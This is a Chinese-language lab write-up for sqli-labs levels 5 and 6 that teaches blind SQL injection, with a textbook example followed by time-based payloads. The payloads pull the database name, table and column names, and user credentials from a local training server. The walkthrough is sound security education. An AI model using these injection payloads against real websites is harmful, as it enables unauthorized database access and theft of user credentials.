sqli-labs第5-6关 详解
先打开第五关,我们尝试sql盲注
先看一个例子吧
某公司有一个站点,有一个showProduct.php页面,该页面接受名为ID的参数,该参数可唯一标识web站点上的每一件商品。访客可以按下列方式请求页面:
http://showProduct.php?id=1
http://showProduct.php?id=2
http://showProduct.php?id=3
http://showProduct.php?id=4
每个请求将显示顾客希望看到的商品数据,为保护数据库不向用户显示任何数据库错误,下列所有请求均显示第一件商品:
http://showProduct.php?id=1' or and 1=1
http://showProduct.php?id=attacker'
http://showProduct.php?id=-1
到目前为止,我们能看到这公司考虑到了安全性问题,但是我们继续推理过程
http://showProduct.php?id=2 or 1=1 //返回了第1件商品
http://showProduct.php?id=2 or 1=2 //返回了第2件商品
在第一个请求中,or 1=1让数据库返回所有商品。数据库检测该语句异常,显示第1件商品。
在第二个请求中,or 1=2对结果没有影响,所以显示第2件商品
不难发现,我们可以根据相同的原理对攻击做一些变化,例如,可以选择and逻辑运算符来替换or。这样一来
http://showProduct.php?id=2 and 1=1 //返回了第2件商品
http://showProduct.php?id=2 and 1=2 //返回了第1件商品
现在虽然可以操作SQL查询,但是却无法从中获取数据。此外,web服务器根据发送的条件回发不同的相应。我们据此可以确认SQL盲注的存在,并开始着手利用此漏洞。
了解这个了,我们来到sqli-labs第5关 学习一下,sql盲注
我们无法跟前4道题一样,发现没有回显出来用户名和密码,于是我们进行如下
?id=1' and 1=1--+
?id=1' or 1=2--+
用and连接条件时, 如果条件为真,则回显You are in...........
如果条件为假,则没有回显。
用or连接条件时, 如果条件为假,则回显You are in...........
如果条件为真,则没有回显。
用着两种pyload都可以,我这里采用and运算符了。
第一步我们先猜解库名的长度吧,利用延时注入,因为盲注一般页面时没有回显的,所以我们采用延时,当然这道题是有回显的
我们按照延时注入操作:
当我们测试长度为8时,出现了明显延时,所以我们确定数据库名为8个长度
http://192.168.199.132/sqli-labs/Less-5/?id=1' and if(length(database())=8,sleep(5),1)--+
数据库第一个字符为s,加下来以此增加left(database(),字符长度)中的字符长度,等号右边以此爆破下一个字符,正确匹配时会延迟。最终爆破得到left(database(),8)='security'
http://192.168.199.132/sqli-labs/Less-5/?id=1' and if(left(database(),1)='s',sleep(5),1)--+
爆表名:
http://192.168.199.132/sqli-labs/Less-5/?id=1' and if(left((select table_name from information_schema.tables where table_schema=database() limit 3,1),1)='users',sleep(5),5)--+
经过漫长的手注,我们就在limit 3,1中找到了表名 users
爆列名:
http://192.168.199.132/sqli-labs/Less-5/?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password',sleep(5),1)--+
首先尝试定向爆破,以提高手工注入速度,修改limit x,1 中的x查询password是否存在表中,lucky的是limit 3,1的时候查到了password列,同样的方法查询username ,又一个lucky,接下来爆破字段的值。
爆破值payload:
http://192.168.199.132/sqli-labs/Less-5/?id=1' and if(left((select password from users order by id limit 0,1),4)='dumb',sleep(5),1)--+
http://192.168.199.132/sqli-labs/Less-5/?id=1' and if(left((select username from users order by id limit 0,1),4)='dumb',sleep(5),1)--+
按照id排序,这样便于对应。注意limit 从0开始.通过坚持不懈的尝试终于爆破到第一个用户的名字dumb,密码dumb,需要注意的是,mysql对大小写不敏感,所以你不知道是Dumb 还是dumb。
这个wp写的我手发慌,但是理解了这个盲注,学会了新姿势,但是这种重复性的工作,我们交给sqlmap做。
sqlmap怎么跑请参考https://www.cnblogs.com/junlebao/p/13758919.html第二种方法就是sqlmap跑出来的。
第6关和第五关类似:
双引号字符型注入,上一题的单引号改成双引号就可以了,同样是两种方法:时间延迟型的手工盲注、报错型的手工盲注或者sqlmap
例子是,来自《注入攻击与防御(第2版)》这本书。题是sqli-labs中的。